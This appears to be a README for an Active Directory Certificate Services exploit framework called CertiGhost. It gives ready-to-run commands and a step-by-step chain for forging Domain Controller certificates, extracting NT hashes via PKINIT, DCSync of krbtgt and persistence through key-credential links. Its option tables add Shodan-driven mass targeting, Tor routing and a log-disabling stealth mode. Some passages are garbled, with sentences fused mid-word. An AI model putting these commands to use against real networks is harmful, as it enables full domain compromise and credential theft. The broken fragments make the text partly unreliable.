
👻 CVE-2026-54121 - Best CertiGhost AD CS Multi-Exploit Framework | Advanced toolkit with rogue DC/LDAP servers, certificate abuse, PKINIT hash extraction. Features: detect safe check, exploit full multi-threaded. 🛡️ CVSS 8.8 High - Use Ethically, Stay Legal. 🔒

Exploit Framework & Audit Toolkit
For authorized security testing only.
This tool is provided for educational and authorized penetration testing purposes only. The authors and contributors are not responsible for any misuse or damage caused by this software. Users are solely responsible for ensuring they have explicit written permission from the target owner before testing. Unauthorized access to computer systems is illegal under applicable federal, state, and international cybercrime laws. By using this software, you agree to:
⚠️ WARNING: Active Directory elevation of privilege vulnerabilities present high risk to enterprise infrastructure. Unauthorized testing is strictly prohibited.
CVE-2026-54121 (Dubbed "Certighost") is an Elevation of Privilege (EoP) vulnerability in Microsoft Active Directory Certificate Services (AD CS). It allows low-privileged domain users to impersonate Domain Controller machine accounts and achieve full Domain Admin takeover via certificate forgery.
CWE-285) in AD CS during the handling of certificate request target parameters.DCSync operations.detect_ip, and disable logging and output. Use “stealthcert.py” for this version.git clone https://tc4dy/CVE-2026-54121-PoC-Exploit
#install requirements
# Auto-discovers CA via LDAP, creates temp computer, spawns rogue servers, requests certificate with cdc redirect, extracts DC's NT hash via PKINIT, enables DCSync for domain takeover
python3 certighost.py -d playground.local -u lowpriv -p Password123 --dc-ip 192.168.1.10
# Impersonates a specific Domain Controller (DC01$). Useful when you know exactly which DC to target. Bypasses auto-discovery
python3 certighost.py -d corp.local -u user -p Passw0rd --dc-ip 10.0.0.1 --target-san DC01$
# Uses NTLM hash instead of password. Works when password is unknown but hash is obtained. ':' before hash = empty LM hash
python3 certighost.py -d domain.local -u admin --hashes :8846f7eaee8fb117ad06bdd830b7586c --dc-ip 192.168.1.10
# Bypasses LDAP CA discovery. Uses explicitly provided CA IP and name. Useful when LDAP is restricted or CA is on different subnet
python3 certighost.py -d playground.local -u lowpriv -p Password123 --dc-ip 192.168.1.10 --ca-ip 192.168.1.20 --ca "PLAYGROUND-CA"
# Native LDAP query to check if AD CS is present. Returns CA name and DNS. Read-only, safe for production. No exploitation performed
.\CertiGhost.ps1 -d playground.local --dc-ip 192.168.1.10 --username lowpriv -p Password123 --detect
# Runs native AD CS detection then calls Python certighost.py with all parameters. Requires certighost.py in same directory. Prints NT hash and ccache file
.\CertiGhost.ps1 -d corp.local --dc-ip 10.0.0.1 --username attacker -p P@ssw0rd --exploit --target-account DC01$
#Detection only mode. Saves results in JSON format. Useful for automation, reporting, and integration with other security tools
.\CertiGhost.ps1 -d domain.local --dc-ip 192.168.1.10 --username user -p pass --detect -o results.json
The vulnerability stems from improper authorization and validation checks (CWE-285) within Active Directory Certificate Services (AD CS) during certificate enrollment processes. An attacker with low-privileged domain credentials can manipulate target redirection parameters to trick the Certificate Authority (CA) into verifying identity assertions against a rogue endpoints.
Vulnerable Endpoint / Request Context:
POST /certsrv/mscep/mscep.dll HTTP/1.1
Host: ca-server.domain.local
Content-Type: application/x-www-form-urlencoded
... (Certificate Request payload with manipulated target/cdc parameters)
Chase Target Manipulation: An attacker modifies the target redirection parameters (such as cdc / chase target) within the certificate request, forcing the Certificate Authority (CA) to route verification traffic to a specified endpoint.
Rogue Server Redirection: The Certificate Authority (CA) initiates LDAP or SMB connections to the client-supplied destination without validating whether the target is a legitimate and authorized Domain Controller.
DC Identity Forgery & Certificate Issuance: The rogue server under the attacker's control responds to verification queries issued by the CA on behalf of the targeted Domain Controller account. Relying on this response, the CA issues a valid, signed certificate carrying the identity of the Domain Controller.
Using the obtained Domain Controller certificate, Kerberos authentication is performed via PKINIT (Public Key Cryptography for Initial Authentication) to retrieve a high-privileged TGT.
With a Kerberos ticket possessing Domain Controller privileges, password hashes for all accounts in the Active Directory database (e.g., krbtgt, Administrator) are extracted using the DCSync technique.
krbtgt account password hash.msDS-KeyCredentialLink attribute of targeted accounts to secure persistent access.| Attribute | Value |
|---|
| 📅 Discovered / Patched | July 2026 (Microsoft Patch Tuesday) |
| ⚠️ CVSS Score | 8.8 (HIGH) |
| 🏷️ Codename | Certighost |
| 🎯 Affected Products | Microsoft Active Directory Certificate Services |
| 🔄 Fixed Versions | July 2026 Security Update |
| 🔓 Authentication | Low-Privileged Domain Account |
| 🌍 Impact | Full Active Directory Domain Compromise |
| Parameter | Description | Example |
|---|
-d, --domain | Target domain DNS name (required) | -d playground.local |
-u, --username | Low-privilege domain user (required) | -u lowpriv |
-p, --password | User password | -p Password123 |
-H, --hashes | NTLM hash [LM:]NT | -H :8846f7eaee8fb117ad06bdd830b7586c |
--dc-ip | Domain Controller IP (required) | --dc-ip 192.168.1.10 |
--ca-ip | Certificate Authority IP (optional) | --ca-ip 192.168.1.20 |
--ca | CA name (auto-discovered if not set) | --ca "PLAYGROUND-CA" |
--listener | Attacker IP for rogue servers | --listener 192.168.1.100 |
--target-san | Computer account to impersonate (e.g. DC01$) | --target-san DC01$ |
--template | Certificate template (default: Machine) | --template Machine |
--computer-name | Existing computer account name (with $) | --computer-name GHOSTABCD$ |
--computer-pass | Existing computer password | --computer-pass CGabc123... |
--computer-hash | Existing computer NT hash | --computer-hash 8846f7ea... |
--use-ldap | Use LDAP (389) instead of LDAPS (636) | --use-ldap |
--exploit | Perform exploitation | --exploit |
--detect | Detection only (no exploit) | --detect |
-t, --threads | Max threads for mass scanning | -t 10 |
--timeout | Timeout per request (seconds) | --timeout 10 |
--retry | Retry count on failure | --retry 3 |
--delay | Base delay between requests | --delay 1.0 |
--proxy | Proxy URL | --proxy http://127.0.0.1:8080 |
--no-verify | Disable SSL verification | --no-verify |
--tor | Use Tor proxy (socks5h://127.0.0.1:9050) | --tor |
-o, --output | Output file (.json, .csv, .jsonl) | -o results.json |
-v, --verbose | Verbose output | -v |
-q, --quiet | Quiet mode | -q |
-h, --help | Show help | -h |
| Parameter | Description | Example |
|---|
-t, --target | Target CA IP or hostname (required) | -t 192.168.1.20 |
-d, --domain | Target domain DNS name (required) | -d playground.local |
--dc-ip | Domain Controller IP (required) | --dc-ip 192.168.1.10 |
-u, --username | Low-privilege domain user (required) | -u lowpriv |
-p, --password | User password | -p Password123 |
-H, --hashes | NTLM hash [LM:]NT | -H :8846f7eaee8fb117ad06bdd830b7586c |
--computer-name | Existing computer account name (with $) | --computer-name GHOSTABCD$ |
--computer-pass | Existing computer password | --computer-pass CGabc123... |
--computer-hash | Existing computer NT hash | --computer-hash 8846f7ea... |
--target-account | Account to impersonate (e.g. DC01$) | --target-account DC01$ |
--template | Certificate template (default: Machine) | --template Machine |
--listener | Attacker IP for rogue servers (auto-detect if not set) | --listener 192.168.1.100 |
--use-ldap | Use LDAP (389) instead of LDAPS (636) | --use-ldap |
--keep-files | Keep .pfx and .ccache files (default: delete) | --keep-files |
-h, --help | Show help | -h |
| Parameter | Description | Example |
|---|
-u, --url | Target CA IP or hostname | -u 192.168.1.20 |
-l, --list | File containing targets (one per line) | -l targets.txt |
--shodan | Load targets from Shodan | --shodan |
--shodan-query | Shodan search query | --shodan-query "AD CS Certificate" |
-d, --domain | Target domain DNS name (required) | -d playground.local |
--dc-ip | Domain Controller IP (required) | --dc-ip 192.168.1.10 |
--username | Low-privilege domain user (required) | --username lowpriv |
-p, --password | User password | -p Password123 |
-H, --hashes | NTLM hash [LM:]NT | -H :8846f7ea... |
--computer-name | Existing computer account name (with $) | --computer-name GHOSTABCD$ |
--computer-pass | Existing computer password | --computer-pass CGabc123... |
--computer-hash | Existing computer NT hash | --computer-hash 8846f7ea... |
--target-account | Account to impersonate (e.g. DC01$) | --target-account DC01$ |
--template | Certificate template (default: Machine) | --template Machine |
--listener | Attacker IP for rogue servers | --listener 192.168.1.100 |
--use-ldap | Use LDAP (389) instead of LDAPS (636) | --use-ldap |
--exploit | Perform exploitation | --exploit |
--detect | Detection only (no exploit) | --detect |
-t, --threads | Max threads for mass scanning | -t 10 |
--timeout | Timeout per request (seconds) | --timeout 10 |
--retry | Retry count on failure | --retry 3 |
--delay | Base delay between requests | --delay 1.0 |
--proxy | Proxy URL | --proxy http://127.0.0.1:8080 |
--no-verify | Disable SSL verification | --no-verify |
--tor | Use Tor proxy | --tor |
-o, --output | Output file (.json, .csv, .jsonl) | -o results.json |
-v, --verbose | Verbose output | -v |
-q, --quiet | Quiet mode | -q |
-h, --help | Show help | -h |